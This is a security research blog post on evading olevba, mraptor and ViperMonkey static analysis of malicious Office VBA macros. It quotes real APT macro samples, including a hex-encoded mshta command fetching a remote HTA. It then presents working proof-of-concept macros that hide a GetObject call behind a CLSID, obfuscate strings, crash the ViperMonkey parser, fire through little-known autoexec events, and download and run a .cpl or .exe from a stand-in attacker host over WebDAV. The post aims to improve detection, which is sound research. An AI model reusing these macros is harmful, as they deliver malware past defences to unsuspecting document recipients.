Advanced VBA macros: bypassing olevba static analyses with 0 hits

Summary

  • Introduction
  • Tests scope
  • APT macro analyses
  • Observations
  • Tests carried out:
    • Bypassing CreateObject detection
    • Crafting our easy custom undetected obfuscation
    • Killing ViperMonkey
    • Undetected code execution methods/functions
    • Undetected methods/functions to get our malicious file
    • Undetected autoexec sub events
    • Results
  • Suggestions for improvement
  • Conclusions
  • About the author

Introduction

One of the most common techniques for getting a foothold on a network client is based on  Office files containing a malicious VBA macro.
VBA macros are still widely used in a business context and, despite the mitigations offered by security vendors and Microsoft, it is still essential to detect evasion techniques in order to catch smart attackers.

On the attacker's side, there is plenty of public projects to setup, weaponize and obfuscate a macro while on the defenser's side there is a reasonable number of public projects, among the most famous projects to de-obfuscate and detect malicious VBA macro there are certainly  olevbaMacroRaptor and ViperMonkey. At Certego, we also use these tools to perform automatic static analysis of VBA macro.

Today we would like to share a test carried out last week on the resilience of public logic offered by olevba, mraptor and vipermonkey. These tests were even more motivated by some autoexec sub functions identified in the wild that were not detected by our implementation of olevba.

All the tests carried out are aimed at encouraging the red teams to test new bypass techniques and improving the detection of olevba, mraptor and vipermonkey public projects.

Tests scope

  • All tests were carried out on a fully patched Windows 10 client with last build and version.
  • Macro based PoCs must work with medium integrity level.
  • The tests carried out focus on the static analysis that can be performed by mraptor and olevba; in these tests we will consider out of scope the dynamic analysis from the point of view of a sandbox, an EDR and any ASR bypass.
  • During the tests, we decided to include vipermonkey vba emulator in the scope.
  • All the tests carried out start from the assumption that the latest versions of olevba, mraptor and vmonkey have been implemented out of the box.
  • Common users are not always able to complete certain tasks keeping all ASR rules enabled, for this reason we consider disabled at least the following rules:

APT macro analyses

There are many ways to obfuscate a VBA macro, but how much do I have to obfuscate my macro to completely evade the analyses of a prepared blue team? It is important to know the weak points of a VBA obfuscation/evasion technique in order to detect it.

We started by learning from public examples of high-level attacks, then by analyzing through the tools mentioned above some noteworthy APT macro samples.

We decided to report the following three examples:

1) 2019-06-06 gorodpavlodar.doc from APT28

APT28 is one of the groups with advanced  TTPs.

VBA code:

Private Sub Document_Open()
On Error Resume Next
Dim ds As String: ds = Environ("APPDATA") & "\graphic.doc"
Dim dd As String: dd = Environ("APPDATA") & tyihkcjfghkvb.dvxdcxxv.Caption & tyihkcjfghkvb.Label1.Caption & tyihkcjfghkvb.Label2.Caption
vbnbnm dd, drgvfdhre(tyihkcjfghkvb.dxvgfchftbxfh.Value)
vbnbnm ds, drgvfdhre(tyihkcjfghkvb.Text.Value)
Set qw = CreateObject("Word.Application")
qw.Visible = True
Set ww = qw.Documents.Open(ds)
Application.Quit SaveChanges:=wdDoNotSaveChanges
End Sub
Private Function drgvfdhre(tyruyt)
  Dim fghfhggjj, asddf
  Set fghfhggjj = CreateObject("Microsoft.XMLDOM")
  Set asddf = fghfhggjj.createElement("tmp")
  asddf.dataType = "bin.base64"
  asddf.Text = tyruyt
  drgvfdhre = asddf.nodeTypedValue
End Function
Private Sub vbnbnm(tgbyh, edcrf)
  Dim qsxx
  Set qsxx = CreateObject("ADODB.Stream")
  qsxx.Type = 1
  qsxx.Open
  qsxx.Write edcrf
  qsxx.SaveToFile tgbyh, 2
End Sub
-------------------------------------------------------------------------------
VBA MACRO tyihkcjfghkvb.frm 
in file: gorodpavlodar.doc - OLE stream: u'Macros/VBA/tyihkcjfghkvb'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
(empty macro)
-------------------------------------------------------------------------------
VBA FORM STRING IN 'gorodpavlodar.doc' - OLE stream: u'Macros/tyihkcjfghkvb/o'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
<80>\libsslh<EC>        
-------------------------------------------------------------------------------
VBA FORM STRING IN 'gorodpavlodar.doc' - OLE stream: u'Macros/tyihkcjfghkvb/o'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
H<80>,<AC><FA>G<80><EC> 
-------------------------------------------------------------------------------
VBA FORM STRING IN 'gorodpavlodar.doc' - OLE stream: u'Macros/tyihkcjfghkvb/o'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
TVpQAAIAAAAEAA8A//8AALgAAAAAAAAAQAAaAAAA+4BqcgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAALoQAA4ftAnNIbgBTM0hkJBUaGlzIHByb2dyYW0gbXVzdCBiZSBydW4gdW5kZXIgV2luMzINCiQ3AAAAA
[...]
	

olevba result:

|AutoExec  |Document_Open       |Runs when the Word or Publisher document is  |
|          |                    |opened                                       |
|Suspicious|CreateObject        |May create an OLE object                     |
|Suspicious|ADODB.Stream        |May create a text file                       |
|Suspicious|SaveToFile          |May create a text file                       |
|Suspicious|Environ             |May read system environment variables        |
|Suspicious|Write               |May write to a file (if combined with Open)  |
|Suspicious|Open                |May open a file                              |
|Suspicious|Hex Strings         |Hex-encoded strings were detected, may be    |
|          |                    |used to obfuscate strings (option --decode to|
|          |                    |see all)                                     |
|Hex String|'z\x938\xea'        |7A9338EA                                     |
|Hex String|'\xcc\x13\x01*w\xe4'|CC13012A77E4                                 |
|Hex String|'\x8b\x80B\xc6'     |8B8042C6                                     |
|Hex String|'*c}\x8f\xddq'      |2A637D8FDD71                                 |
|Hex String|'\xaa\xaa\xea\xa8'  |AAAAEAA8                                     |
|Hex String|'\xaa\xaa\xaa\xaa'  |AAAAAAAA                                     |
|Hex String|'\xaa\xaa\xaa\xaa\xa|AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA         |
|          |a\xaa\xaa\xaa\xaa\xa|                                             |
|          |a\xaa\xaa\xaa\xaa\xa|                                             |
|          |a\xaa\xaa\xaa'      |                                             |
|Hex String|':\xaa\xaa\xaa\xaa\x|3AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA|
|          |aa\xaa\xaa\xaa\xaa\x|AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA|
|          |aa\xaa\xaa\xaa\xaa\x|AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA|
|          |aa\xaa\xaa\xaa\xaa\x|AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA|
	

2019-06-06 graphic.doc, document dropped from the previous sample and called through Word.Application COM.

VBA code:

[...]
Private Declare Function CreateProcess Lib "kernel32" Alias "CreateProcessA" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, lpProcessAttributes As Any, lpThreadAttributes As Any, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, lpEnvironment As Any, ByVal lpCurrentDriectory As String, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long
Private Declare Sub GetStartupInfo Lib "kernel32" Alias "GetStartupInfoA" (lpStartupInfo As STARTUPINFO)
Private Const SW_SHOWNORMAL             As Long = 1
Private Sub Document_Open()
On Error Resume Next
Dim fd As String: fd = Environ("APPDATA") & "\libssl.exe"
Dim si    As STARTUPINFO
Dim pi    As PROCESS_INFORMATION
    si.cb = Len(si)
    Dim RetVal As Long
RetVal = CreateProcess(vbNullString, _
                       fd, _
                       ByVal 0, _
                       ByVal 0, _
                       False, _
                       ByVal 0, _
                       ByVal 0, _
                       vbNullString, _
                       si, _
                       pi)
End Sub
[...]
	

olevba result:

+----------+--------------------+---------------------------------------------+
|Type      |Keyword             |Description                                  |
+----------+--------------------+---------------------------------------------+
|AutoExec  |Document_Open       |Runs when the Word or Publisher document is  |
|          |                    |opened                                       |
|Suspicious|Environ             |May read system environment variables        |
|Suspicious|Lib                 |May run code from a DLL                      |
|Suspicious|VBA obfuscated      |VBA string expressions were detected, may be |
|          |Strings             |used to obfuscate strings (option --decode to|
|          |                    |see all)                                     |
|IOC       |libssl[.]exe          |Executable file name                         |
|VBA string|%APPDATA%\libssl[.]exe|Environ("APPDATA") & "\libssl.exe"           |
+----------+--------------------+---------------------------------------------+
	

2) 2016-11-09  election-headlines-FTE2016.docm from APT29
The sample is a CDFV2 Encrypted with password 3209. password source

APT29 is one of the groups with advanced TTPs

VBA code:

VBA MACRO ThisDocument.cls 
in file: word/vbaProject.bin - OLE stream: u'VBA/ThisDocument'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
(empty macro)
-------------------------------------------------------------------------------
VBA MACRO Class1.cls 
in file: word/vbaProject.bin - OLE stream: u'VBA/Class1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
Dim cpeziw As Integer
Public WithEvents dgnfyvv As Word.Application
Attribute dgnfyvv.VB_VarHelpID = -1
Private Sub dgnfyvv_DocumentBeforeClose(ByVal hatxzkt As Document, kzcwwyys As Boolean)
If cpeziw > (6 - 6) Then Exit Sub
cpeziw = cpeziw + (-20 + 21)
Dim yemsa
Dim bnekl
bnekl = Array()
jkxaixhdd bnekl
yemsa = pnczyqlyg(bnekl)
Dim akhgttupb
Set akhgttupb = CreateObject("Scripting.FileSystemObject")
Dim mquxrl: Set mquxrl = CreateObject("WScript.Shell")
Dim wgmwu
On Error Resume Next
 Dim gykhijge As String
gykhijge = hwsoumwi(mquxrl, qnvhsqbdw(Array((173 - 74), 7, (24 - 2), (111 - 89), 2, (63 - 56), (-54 + 72), (98 - 91), (163 - 64), (122 - _
96), 14, (38 - 16), (79 - 53), (107 - 75), (113 - 50), (24 + 25), 46, 62, 104, (130 - 96), 42, 42), (161 - 91)))
Set wgmwu = akhgttupb.CreateTextFile(gykhijge)
If Err.Number = (7 - 7) Then GoTo byxpnqfms
xfapig (gykhijge)
Err.Clear
Set wgmwu = akhgttupb.CreateTextFile(gykhijge)
If Err.Number = (3 - 3) Then GoTo byxpnqfms
Err.Clear
gykhijge = hwsoumwi(mquxrl, qnvhsqbdw(Array(208, 180, (262 - 97), (85 + 80), (81 + 96), 180, (155 + 6), (173 + 7), 208, (221 - 52), ( _
126 + 21), 140, 130, (234 - 77), (188 - 47), (216 + 3), (150 - 5), (155 - 2), (53 + 100)), (170 + 75)))
Set wgmwu = akhgttupb.CreateTextFile(gykhijge)
If Err.Number = (9 - 9) Then GoTo byxpnqfms
Err.Clear
gykhijge = hwsoumwi(mquxrl, qnvhsqbdw(Array((211 + 43), (143 - 0), 158, 150, 139, (165 + 89), (120 + 15), (210 - 21), (127 + 35), (124 _
+ 48), (146 + 33), (221 - 58), (317 - 72), (107 + 84), (234 - 51), (260 - 77)), (175 + 44)))
Set wgmwu = akhgttupb.CreateTextFile(gykhijge)
If Err.Number <> (5 - 5) Then Exit Sub
byxpnqfms:
wgmwu.Write yemsa
wgmwu.Close
mqcum akhgttupb, gykhijge
jumbyvq = mlkgfrlz(mquxrl, qnvhsqbdw(Array((113 + 54), 160, 187, 177, (205 - 20), (160 + 25), (156 + 74), (235 - 4), (262 - 11), (234 _
- 58), (150 + 23), 176, (152 + 93)), 213) + Chr((-4 + 38)) + gykhijge + Chr((31 + 3)) + qnvhsqbdw(Array(155, (126 + 25), (231 - 83), 133 _
), 183))
End Sub
------------------------------------------------------------------------------
VBA MACRO Module1.bas 
in file: word/vbaProject.bin - OLE stream: u'VBA/Module1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
Dim cameayf As New Class1
Function bbeuoxdt()
Set lmjbbjjyv = GetObject(qnvhsqbdw(Array((170 - 92), (15 + 65), (40 + 47), 84, 94, (8 + 76), 77, (157 - 83), (30 - 27), (29 + 72), 101 _
, (1 + 22), (25 + 76), (28 + 79), (44 + 42), (139 - 53), (16 + 61), (95 + 6), (159 - 37), 112, (45 + 71), (192 - 81), (89 - 78)), (106 - 49)))
hwponld = (6 - 6)
Set xrpirnkm = lmjbbjjyv.ExecQuery(qnvhsqbdw(Array((219 + 34), 235, (163 + 63), (155 + 80), (147 + 90), (230 + 20), (147 - 5), (216 - 84 _
), (234 - 92), (291 - 59), (286 - 34), 225, 227, 142, (309 - 60), (110 + 89), (255 - 63), (165 - 8), 156, (143 + 98), (304 - 68), (156 + 75), _
 (282 - 57), (261 - 8)), 174))
For Each bnekl In xrpirnkm
rbnoksujy = LCase(bnekl.SMBIOSBIOSVersion)
If InStr(rbnoksujy, qnvhsqbdw(Array((83 - 12), 88, (39 + 28), (32 + 37), 68, (133 - 53), (50 + 43), (107 - 24), 94, 73), (32 + 17))) > _
(9 - 9) Or InStr(rbnoksujy, qnvhsqbdw(Array(27, (4 - 4), (121 - 95), (70 - 58), (59 - 28), (46 - 38)), 109)) > (7 - 7) Then
hwponld = hwponld + 5
End If
rbnoksujy = LCase(bnekl.SerialNumber)
If InStr(rbnoksujy, qnvhsqbdw(Array(152, (194 - 63), (54 + 99), (130 + 13), (144 + 12), 139), (314 - 76))) > (8 - 8) Then hwponld = hwponld _
 + (-29 + 34)
Next
Set xrpirnkm = lmjbbjjyv.ExecQuery(qnvhsqbdw(Array((168 + 47), 193, 200, (238 - 45), 199, (184 + 24), (129 + 35), (143 + 31), (164 - _
0), (189 + 5), (201 + 13), 203, (113 + 88), (72 + 92), 211, (178 + 59), (297 - 63), (108 + 75), 182, 219, 212, (331 - 97), (187 + 25), (207 _
- 14), (334 - 100), (220 + 20), (336 - 99), (266 - 26), (203 + 50)), (48 + 84)))
For Each bnekl In xrpirnkm
If InStr(bnekl.DeviceId, qnvhsqbdw(Array((181 - 15), 181, (130 + 61), (88 + 82), 160, (99 + 80), 184, (140 + 29), (124 + 82), (298 - 100 _
), (126 + 53), (275 - 96), (154 + 54), (101 + 77), (197 - 18), (257 - 97), (134 + 35), 181, (217 - 34), (201 - 25), 179), 246)) > (6 - 6) Then _
 hwponld = hwponld + (100 - 98)
Next
If hwponld > (43 - 38) Then GoTo ppgevuijh
obvrb = Array(qnvhsqbdw(Array(188, (262 - 76), (83 + 89), (218 - 31)), (212 - 11)), qnvhsqbdw(Array((20 + 6), (28 + 3), (-1 + 23), (-63 _
+ 81), 21), 123), qnvhsqbdw(Array((256 - 49), (203 - 1), (110 + 85), (272 - 73), 192, 199, (170 + 51), 218, (298 - 78), (110 + 97), (173 _
+ 45), (272 - 79), (225 - 5)), (254 - 80)), qnvhsqbdw(Array((176 + 24), 206, (223 - 7), (221 - 14), (117 + 23)), (113 + 76)))
Set dvbjs = lmjbbjjyv.ExecQuery(qnvhsqbdw(Array((134 + 61), 245, (200 + 52), (242 + 3), (243 - 0), (286 - 58), (226 - 50), (162 + 24), _
(110 + 66), 246, (259 - 33), (347 - 92), 253, (268 - 92), 199, 249, (264 - 10), (68 + 95), (122 + 40), (118 + 89), (225 - 14), (327 - 72), (243 _
+ 10), (148 + 76), (159 + 70), (146 + 82), (226 + 19), 226, 195, (313 - 80), (134 + 93), 228, 245, (236 + 17)), (228 - 84)))
[...]
Function hwsoumwi(hhcwpimxz, bsgwg)
hwsoumwi = hhcwpimxz.ExpandEnvironmentStrings(bsgwg)
End Function
Function mlkgfrlz(hhcwpimxz, bsgwg)
mlkgfrlz = hhcwpimxz.Exec(bsgwg)
End Function
[...]
Sub mqcum(akhgttupb, hlrcv)
Dim lrbhlz As Integer
trcyseku = 624100
bmujpcxp = (8280 - 88)
lrbhlz = (39 - 27)
hsgqw = hlrcv
Close lrbhlz
Open ActiveDocument.FullName For Binary Access Read As lrbhlz
efoldymy = oiwvfvbtm(lrbhlz)
If efoldymy < (-61 + 62) Then Exit Sub
sorgd = qnvhsqbdw(Array((279 - 36), (174 + 12), (238 - 68), (107 + 54), (228 - 56), (200 - 36), (201 - 33), (164 + 22)), (125 + 76))
If Mid(sorgd, (23 - 22), (-68 + 69)) <> qnvhsqbdw(Array(71), (220 - 95)) Then
tqftb = InStrRev(hlrcv, qnvhsqbdw(Array((-8 + 78)), 26))
hsgqw = Mid(hlrcv, (15 - 14), tqftb)
End If
hsgqw = hsgqw & sorgd
Dim tvpgfk As String
tvpgfk = Space(bmujpcxp)
Seek lrbhlz, efoldymy
Set rpcinodml = akhgttupb.CreateTextFile(hsgqw)
Do While trcyseku > (8 - 8)
If bmujpcxp > trcyseku Then tvpgfk = Space(trcyseku)
Get lrbhlz, , tvpgfk
rpcinodml.Write tvpgfk
trcyseku = trcyseku - bmujpcxp
Loop
rpcinodml.Close
Close lrbhlz
End Sub
[...]
Sub AutoOpen()
qmhlmfcr
End Sub
Public Function qnvhsqbdw(fdcacal As Variant, hssufj As Integer)
Dim rbnoksujy, uijtvyc
rbnoksujy = ""
uijtvyc = (7 - 7)
While uijtvyc < UBound(fdcacal) + 1
dqssgod = fdcacal(uijtvyc) Xor hssufj
rbnoksujy = rbnoksujy + Chr(dqssgod)
uijtvyc = uijtvyc + 1
Wend
qnvhsqbdw = rbnoksujy
End Function
	

olevba result:

+----------+--------------------+---------------------------------------------+
|Type      |Keyword             |Description                                  |
+----------+--------------------+---------------------------------------------+
|AutoExec  |AutoOpen            |Runs when the Word document is opened        |
|Suspicious|Exec                |May run an executable file or a system       |
|          |                    |command using Excel 4 Macros (XLM/XLF)       |
|Suspicious|CreateObject        |May create an OLE object                     |
|Suspicious|CreateTextFile      |May create a text file                       |
|Suspicious|Shell               |May run an executable file or a system       |
|          |                    |command                                      |
|Suspicious|WScript.Shell       |May run an executable file or a system       |
|          |                    |command                                      |
|Suspicious|Write               |May write to a file (if combined with Open)  |
|Suspicious|Open                |May open a file                              |
|Suspicious|MkDir               |May create a directory                       |
|Suspicious|Chr                 |May attempt to obfuscate specific strings    |
|          |                    |(use option --deobf to deobfuscate)          |
|Suspicious|Xor                 |May attempt to obfuscate specific strings    |
|          |                    |(use option --deobf to deobfuscate)          |
|Suspicious|Binary              |May read or write a binary file (if combined |
|          |                    |with Open)                                   |
|Suspicious|Hex Strings         |Hex-encoded strings were detected, may be    |
|          |                    |used to obfuscate strings (option --decode to|
|          |                    |see all)                                     |
|Hex String|'\xfc\xfb=*'        |FCFB3D2A                                     |
|Hex String|'\x08\x00+3q\xb5'   |08002B3371B5                                 |
	

3) 2020-03-03  비건미국무부부장관서신20200302.doc from Kimsuky APT

One of the more recent APT macro.

VBA code:

VBA MACRO ThisDocument.cls 
in file: word/vbaProject.bin - OLE stream: u'VBA/ThisDocument'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
(empty macro)
-------------------------------------------------------------------------------
VBA MACRO NewMacros.bas 
in file: word/vbaProject.bin - OLE stream: u'VBA/NewMacros'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
Const vouxaweiky = 0
Private Function ibgcqjqcesdb(ByVal nszemdxvjgig As String) As String
Dim crvueaktrvsw As Long
For crvueaktrvsw = 1 To Len(nszemdxvjgig) Step 2
ibgcqjqcesdb = ibgcqjqcesdb & Chr$(Val("&H" & Mid$(nszemdxvjgig, crvueaktrvsw, 2)))
Next crvueaktrvsw
End Function
Sub bgdrkwewidjuilxpmyaz(hhacncliysnlfvsph As String)
With CreateObject(ibgcqjqcesdb("57536372697074") & ibgcqjqcesdb("2e5368656c6c"))
.Exec (hhacncliysnlfvsph)
End With
End Sub
Sub AutoOpen()
With ActiveDocument.Background.Fill
.ForeColor.RGB = RGB(255, 255, 255)
.Visible = msoTrue
.Solid
End With
Selection.WholeStory
Content = ibgcqjqcesdb("6d7368746120687474703a2f2f6e68707572756d792e6d697265656e652e636f6d2f7468656d652f62617369632f736b696e") & ibgcqjqcesdb("2f6d656d6265722f62617369632f75706c6f61642f7365617263682e687461202f66")
Selection.Font.Hidden = False
bgdrkwewidjuilxpmyaz (Content)
Selection.Collapse
ActiveDocument.Save
End Sub
	

olevba result:

+----------+--------------------+---------------------------------------------+
|Type      |Keyword             |Description                                  |
+----------+--------------------+---------------------------------------------+
|AutoExec  |AutoOpen            |Runs when the Word document is opened        |
|Suspicious|Exec                |May run an executable file or a system       |
|          |                    |command using Excel 4 Macros (XLM/XLF)       |
|Suspicious|CreateObject        |May create an OLE object                     |
|Suspicious|Chr                 |May attempt to obfuscate specific strings    |
|          |                    |(use option --deobf to deobfuscate)          |
|Suspicious|Shell               |May run an executable file or a system       |
|          |                    |command (obfuscation: Hex)                   |
|Suspicious|Hex Strings         |Hex-encoded strings were detected, may be    |
|          |                    |used to obfuscate strings (option --decode to|
|          |                    |see all)                                     |
|IOC       |http://nhpurumy[.]mire|URL (obfuscation: Hex)                       |
|          |ene.com/theme/basic/|                                             |
|          |skin                |                                             |
|IOC       |search.hta          |Executable file name (obfuscation: Hex)      |
|Hex String|WScript             |57536372697074                               |
|Hex String|.Shell              |2e5368656c6c                                 |
|Hex String|mshta <a href="http://nhpurum|6d7368746120687474703a2f2f6e68707572756d792e6|">http://nhpurum|6d7368746120687474703a2f2f6e687075...</a>
|          |y.mireene[.]com/theme/|d697265656e652e636f6d2f7468656d652f6261736963|
|          |basic/skin          |2f736b696e                                   |
|Hex String|/member/basic/upload|2f6d656d6265722f62617369632f75706c6f61642f736|
|          |/search.hta /f      |5617263682e687461202f66                      |
+----------+--------------------+---------------------------------------------+
	

Observations

We have observed that:

  • Some useful functions to obfuscate our macro are used to detect it. Ex: Evilclippy tricks like VBA stomping/pcode obfuscation are currently detected by olevba.
  • There is no known way to obfuscate Sub Events, like AutoExec.
  • There is no known way to obfuscate functions and methods.
  • There are many examples of APT macros that prefer to leave the macro in plain text rather than obfuscate it through a well known technique or suspicious functions.
  • Spotting Win32 Windows API through the Lib Declare Statement is trivial and in some contexts blue teams are beginning to block them through ASR.
  • We also identified the following technical details related to the detection of the examined tools :
    • Obfuscation performed through the Mid and the Array functions is not detected by the examined tools. There are plenty of ways to obfuscate the code and it does not seem worth detecting them all through a static approach.
    • ExecQuery and other dangerous WMI methods to perform code execution like Create are not detected by the examined tools.
    • ExpandEnvironmentStrings method of WScript.Shell Object is an Environ alternative to retrieve environment variables which not trigger by the examined tools:

      Example:
      Dim mquxrl: Set objShell = CreateObject("WScript.Shell")    a = objShell.ExpandEnvironmentStrings("%TEMP%")
      MsgBox a
      		
      Other undetected alternatives could be:
  • In the common implementations of these tools some hits are systematically discarded to avoid false positives. Hex string detection in olevba is an example.

    However, in well-managed infrastructures, it is possible to research some mandatory subroutines, methods and functions to systematically detect macros through a static approach, and to engaging an analyst.

Tests carried out

Starting from these osservations we have tried to build at least one PoC that performs 0 hits on olevba and a "macro ok" result in mraptor.

These are three minimum requirements for getting a foothold through a VBA macro:

  1. An Autoexec Sub Event to trigger our macro.
  2. A code execution method/function
  3. Except for some trivial cases, you will normally need at least a COM/OLE/ActiveX Object, so you need to call at least one function like CreateObject.

Bypassing CreateObject detection

Even if performing alerting only on CreateObject is pretty impossible due to FP, it is possible to avoid this hit in some scenarios through  GetObject.

At the time of writing, GetObject is not reported as a suspicious function by olevba.

GetObject is used to attach to a running instance of an automation server.

Some automation servers have a running instance by default. Using one of these objects, it is possible to use GetObject, avoiding the call to CreateObject at all. See: differences between GetObject and CreateObject.

For these tests we decided to start with one of the most common objects with a default instance: Shell.Application.

Crafting our easy custom undetected obfuscation

After a first look we decided to use the  CLSID avoid Shell.Application pattern match detection. 

Here is how to easily get Shell.Application CLSID through powershell:

Get-ChildItem REGISTRY::HKEY_CLASSES_ROOT\CLSID -Include PROGID -Recurse | where {$_.GetValue("") -match "Shell\.Application" }

So instead of:

CreateObject("Shell.Application")

We used:

GetObject("new:13709620-C279-11CE-A49E-444553540000")

However the string was detected in a heuristic way by exchanging the CLSID with a hex string.

As mentioned above, it is a olevba hit that makes tons of FPs like this. 

Despite this fact, we still tried to obfuscate this string creating our own obfuscation technique. It would also come in handy later to obfuscate our exploit.

After some research we discovered that adding chunks of strings to a variable containing an empty string prevents olevba from detecting and deobfuscating the string:

lw = ""
Set No = GetObject("new:{1370" & lw & "962" & lw & "0-C27" & lw & "9-11C" & lw & "E-A4" & lw & "9E-4445" & lw & "5354" & lw & "0000}")

Note: without using a variable olevba detects the technique.

Killing ViperMonkey

After a quick test, we realized that  ViperMonkey is able to decode our obfuscation method.

ViperMonkey is a VBA Emulation engine written in Python, designed to analyze and deobfuscate malicious VBA Macros contained in Microsoft Office files (Word, Excel, PowerPoint, Publisher, etc).

Despite being a big project, ViperMonkey is a experimental emulator, developers who integrate it into their platform are used to handling considerable number of crashes with legitimate macros, ergo seeing a ViperMonkey crash is not suspicious at all.

To crash vmonkey you need to find some VBA code accepted by our office program that crashes the vmonkey parser.

After some fuzzing we have identified the following simple code:

Function Something()
End Function
If 1 <> 1 Then
    Function VMonkeyBoom(1 as Integer)
    End Function
End If
Private Sub Document_Open()
    lw = ""
    msgbox "No" & lw & "Vipe" & lw & "rMonke" & lw & "y here"
End Sub

A declaration of a function with at least one argument inside an if statement will do the job. Microsoft Word will successfully run the macro:

The vmonkey parser will fail:

Undetected code execution methods/functions

We started  digging into the documentation looking for unknown execution methods of Shell.Application Object

This is the section in the olevba code where the suspicious methods/functions list is defined by regex or keyword.

We have identified three interesting examples:

  1. InvokeVerb and InvokeVerbEx: dropping an executable and calling the verb "Open" it is possible to run it. As soon as I spotted these methods I tweeted them.
  2. DoIt: slightly more tricky but same concept of invokeverb.
  3. ControlPanelItem: by dropping a malicious .cpl into the current directory, it is possible to execute malicious code

While we were looking for undetected methods to perform code excecution, we have observed that, surprisingly, the   Create method of Win32_Process, retrievable only through GetObject, is not yet detected by olevba.

However, we decided to avoid it because it has been used in  many opportunistic campaigns and some custom implementations, such as ours, easily detect it.

All other interesting methods of WMI code execution, which are not detected by the analyzed tools, require a  high integrity level, which is out of scope.

Undetected methods/functions to get our malicious file

Since we have identified three methods to launch an executable without arguments, we need a function to get our malicious executables.

In order not to leave our executable embedded in the document we decided to download our sample remotely through an  UNC path

To achieve this task we decided to exploit  SMB redirector or WebDAV redirector, this is because it is not possible to map a UNC resource on a unit or link it with a medium integrity level.

Allowing outbound SMB traffic is a bad practice, so we decided to take advantage of  Webdav over SSL (HTTPS).

So we decided to exploit the  CopyHere Shell.Application method to download our executables via WebDav SSL.

During the tests we also found that:

We decided to avoid FileSystemObject because it didn't work through GetObject, even if it is not enough to detect our samples it was interestingly keeping us on the 0 hits..

Undetected autoexec sub events

This is the section in the olevba code where the autoexec list is defined by regex or keyword

Hunting for undetected autoexec sub event:

https://docs.microsoft.com/en-us/office/vba/api/ov...

Docs/Office/VBA/Reference/<program>/Object model/<object>/Events/<eventname>

We have identified three interesting examples:

  1. Document_ContentControlOnEnter:  it triggers when a user "enters" a content control, there are several content controls that can easily attract a user click.
  2. Worksheet_FollowHyperlink: it triggers when a user clicks on a link inside a worksheet, the link can also point to a worksheet component.
  3. Worksheet_Calculate: "Occurs after the worksheet is recalculated for the Worksheet object", this autoexec sub event is the most interesting we have envied: by using a cell with a formula that points to itself, it is possible to perform an autoexec without user interaction. As shown in the gif of the next section a prompt is shown to the user but, whatever the answer is, the macro is still executed.

Results

The outputs shown below are those of the following command:

 olevba --decode --reveal <doc> # 0.56dev6 on Python 2.7.17

 Document_ContentControlOnEnter.docm:

No suspicious keyword or IOC found.
MACRO SOURCE CODE WITH DEOBFUSCATED VBA STRINGS (EXPERIMENTAL):
Function Something()
End Function
If 1 <> 1 Then
    Function VMonkeyBoom(1 as Integer)
    End Function
End If
Private Sub Document_ContentControlOnEnter(ByVal ContentControl As ContentControl)
    lw = ""
    Set No = GetObject("new:{1370" & lw & "962" & lw & "0-C27" & lw & "9-11C" & lw & "E-A4" & lw & "9E-4445" & lw & "5354" & lw & "0000}")
    Set oF = No.NameSpace("C:\windo" & lw & "ws\te" & lw & "mp")
    If Not oF Is Nothing Then
        oF.CopyHere ("\\theatta" & lw & "cker.com@S" & lw & "SL\webd" & lw & "av_s\jtms.cp" & lw & "l")
    End If
    No.ControlPanelItem ("C:\\Windo" & lw & "ws\\Te" & lw & "mp\jtms.cp" & lw & "l")
End Sub
	

Worksheet_FollowHyperlink.xlsm:

+----------+--------------------+---------------------------------------------+
|Type      |Keyword             |Description                                  |
+----------+--------------------+---------------------------------------------+
|Suspicious|Hex Strings         |Hex-encoded strings were detected, may be    |
|          |                    |used to obfuscate strings (option --decode to|
|          |                    |see all)                                     |
|Hex String|'\x00\x02\x08 '     |00020820                                     |
|Hex String|'\x00\x00\x00\x00\x0|000000000046                                 |
|          |0F'                 |                                             |
|Hex String|'\x00\x02\x08\x19'  |00020819                                     |
+----------+--------------------+---------------------------------------------+
MACRO SOURCE CODE WITH DEOBFUSCATED VBA STRINGS (EXPERIMENTAL):
Function Something()
End Function
If 1 <> 1 Then
    Function VMonkeyBoom(1 as Integer)
    End Function
End If
Private Sub Worksheet_FollowHyperlink(ByVal Target As Hyperlink)
    lw = ""
    Set No = GetObject("new:{1370" & lw & "962" & lw & "0-C27" & lw & "9-11C" & lw & "E-A4" & lw & "9E-4445" & lw & "5354" & lw & "0000}")
    Set oF = No.Namespace("C:\windo" & lw & "ws\te" & lw & "mp")
    If Not oF Is Nothing Then
        oF.CopyHere ("\\theatta" & lw & "cker.com@S" & lw & "SL\webd" & lw & "av_s\ddd.ex" & lw & "e")
    End If
    Set NoF = No.Namespace("C:\Wind" & lw & "ows\te" & lw & "mp")
    Set Nof2 = NoF.Self.Verbs
    Set Item = NoF.ParseName("ddd.ex" & lw & "e")
    Item.InvokeVerbEx ("op" & lw & "en")
End Sub
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
	

In this case the VB_Base attribute triggers olevba, olevba exchanges the GUID for a Hex String. This is a known and usually filtered false positive. For this reason we can safely consider this sample as one with 0 hits.

Worksheet_Calculate.xlsm:

 +----------+--------------------+---------------------------------------------+
